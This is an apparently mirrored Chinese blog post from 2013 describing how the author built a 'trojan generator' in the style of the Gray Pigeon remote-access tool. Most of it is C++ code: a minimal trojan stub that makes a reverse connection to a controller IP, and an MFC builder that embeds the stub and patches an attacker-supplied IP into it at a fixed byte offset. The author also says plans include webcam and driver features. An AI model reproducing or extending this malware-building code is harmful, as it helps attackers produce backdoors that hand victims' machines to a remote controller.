zoukankan      html  css  js  c++  java
  • 编写“木马生成器”软件总结

    2013-03-17 11:43 (分类:网络安全)

           用了两周时间就写了个这破东西,不是木马源码,就是个木马生成器,大概类似下图,这图是灰鸽子的界面

            设置好各种参数后,点击生成服务器,一个小木马就出来了。

    以后可能会忘,这次记录详细些。

    1 .先编写一个小木马,不加其它功能,做测试用,只有一个反向连接的功能,做成控制台程序,

    #include<WINSOCK2.H> 
    #include <TCHAR.h>
    #pragma comment(lib, "ws2_32.lib")
    #include <iostream>
    using namespace std;
    int main()
    {
    int port=9999;//连接端口
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET m_Socket;
    m_Socket= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    // 构造sockaddr_in结构
    SOCKADDR_IN ClientAddr;
    ClientAddr.sin_family= AF_INET;
    ClientAddr.sin_port = htons(port);
    ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx
    connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr));
    CHAR recvbuffer[100];
    recv(m_Socket,recvbuffer,100,0);
    return 0;
    }这里面注意这句就行了ClientAddr.sin_addr.S_un.S_addr=inet_addr("xxx.xxx.xxx.xxx.");//注意xx为什么把ip地址设成xxx.xxx.xxx.xxx? 一会再二进制代码里方便定位2.编译 链接生成 一个 server.exe 程序。打开WinHex,把server.exe拖进去分析一下,看图

    编写“木马生成器”软件总结 - 朝鲜程序员 - 朝鲜程序员的博客

    这个位置就是存放ip地址的位置,设置为xxx方便定位,记下它的地址  3844-3858

    3.接着建立一个新工程mfc程序 做个小界面

    编写“木马生成器”软件总结 - 朝鲜程序员 - 朝鲜程序员的博客

    直接贴代码了,在此之前最重要的是导入资源,把刚才的server.exe导入进来,点工程里的资源-添加资源-导入
    找到 server.exe  资源类型随便写,我设置的是exe

    生成服务端按钮响应函数

    void CServerBuilderDlg::OnBnClickedButton1()
    {
    // TODO: 在此添加控件通知处理程序代码
    UpdateData(TRUE); 
      CString str1 = _T("");//判断两个编辑框是否为空 CString str2= _T("");
    GetDlgItem(IDC_EDIT_ControlIp)->GetWindowText(str1);//类型转换
    GetDlgItem(IDC_EDIT_ControlPort)->GetWindowText(str2);
    if(str1.IsEmpty()||str2.IsEmpty())
    {
    MessageBox(_T("请填写完整的ip和端口"),_T("警告"));
    return;
    }

    HRSRC hResInfo;
    HGLOBAL hResData;
    DWORD dwSize, dwWritten;
    HANDLE hFile;
    LPBYTE p; //开辟内存空间
    TCHAR szIp[16]={0}; //接收控件变量,也就是ip地址

    // 查找所需的资源,这三个函数FindResource查找刚才的server.exe程序 
    hResInfo = FindResource(NULL,MAKEINTRESOURCEW(IDR_EXE1), _T("EXE"));
    if (hResInfo == NULL)
    MessageBox(_T("FindResource出错"),_T("提示"),0);

    // 获得资源尺寸
    dwSize = SizeofResource(NULL, hResInfo);

    // 装载资源,把server.exe装载
    hResData=LoadResource(NULL,hResInfo);
    if(hResData==NULL)
    MessageBox(_T("LoadResource出错"),_T("提示"),0);

    // 为数据分配空间
    p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
    if (p == NULL)
    MessageBox(_T("分配内存失败!"), _T("错误"), MB_OK | MB_ICONINFORMATION);

    // 复制资源数据,将server.exe复制到开辟的p空间里 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
    // 获取IP和port,并复制数据,将我设置的ip拷贝到数组szip中
    GetDlgItem(IDC_EDIT_ControlIp)->GetWindowTextW(szIp,16);

    MessageBox(szIp,_T("提示"),0);

    //将unicode码转换为多字节码,这一点是最重要的,耗了我好几天,又是宽字节窄字节的
    //问题,在server.exe中ip是窄字节,但是szip这个数组是宽字节,必须转换一下 //将szip数组中宽字节ip地址,拷贝到pstext中变成窄字节
    //转换函数是widechartomultibyte,msdn自己看看就好
    DWORD dwNum = WideCharToMultiByte(CP_OEMCP,NULL,szIp,-1,NULL,0,NULL,FALSE);
    char *psText;
    psText = new char[dwNum];
    if(!psText)
    {
    delete []psText;
    }
    WideCharToMultiByte (CP_OEMCP,NULL,szIp,-1,psText,dwNum,NULL,FALSE);
    //这里是最重要的,要把pstext中的ip地址拷贝到server.exe中,代替其中的xxx.xxx.
    //这个ip地址,0xf04是十六进制,其实就是十进制的3844 ,p是刚才开辟的空间首地址
    //p+0xf04就是server.exe中ip首地址,dwnum是拷贝长度  CopyMemory((LPVOID)(p + 0xf04),(LPCVOID)psText,dwNum);
    // 创建文件
    /*
    //另一种创建文件的方法
    CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
    if(dlg.DoModal () != IDOK)
    return;*/
    //自动在d盘创建好一个小马servercode.exe和server.exe内容一样,只是xxx.xxx.xxx.xx //x变成了我们拷贝的地址
    hFile=CreateFile(_T("D:\ServerCode.exe"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0, NULL);
    if(hFile==NULL)
    {
    MessageBox(_T("CreateFile出错"),_T("提示"),0);
    GlobalFree((HGLOBAL)p);
    }

    //向文件内写入信息,把p空间内的数据写入
    WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);

    // 收尾工作,释放资源
    CloseHandle(hFile);
    GlobalFree((HGLOBAL)p);
    return ;
    /*CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
    if(dlg.DoModal () != IDOK)
    return;*/
    }

    编写“木马生成器”软件总结 - 朝鲜程序员 - 朝鲜程序员的博客
     
    在d盘生成servercode.exe

    打开servercode.exe  ip地址已经改动

    编写“木马生成器”软件总结 - 朝鲜程序员 - 朝鲜程序员的博客

    这个生成器用的是数据替换法,在定位时会遇到一些困难,编写时非常费时,
    比较好的办法是在程序的尾部追加数据,然后程序运行时从尾部读取数据,灰鸽子的源码基本就是这样,先把一个文件复制出来然后把数据写到文件尾部。我这样的菜鸟暂时就不搞了。

    接下来就是木马源码了,做驱动,开摄像头。。。

    继续向前走。。。

  • 相关阅读:
    [BUUOJ记录] [强网杯 2019]随便注(三种方法)
    Content Security Policy (CSP)内容安全策略总结
    [HGAME Week2] Cosmos的博客后台
    [BUUOJ记录] [ACTF2020 新生赛]Include
    PHP弱类型hash比较缺陷
    CTF常见源码泄漏总结
    Sqlmap Tamper绕过脚本详解
    Golden Pyramid
    Prime Palindrome Golf
    Min and Max
  • 原文地址:https://www.cnblogs.com/centos2017/p/7896667.html
Copyright © 2011-2022 走看看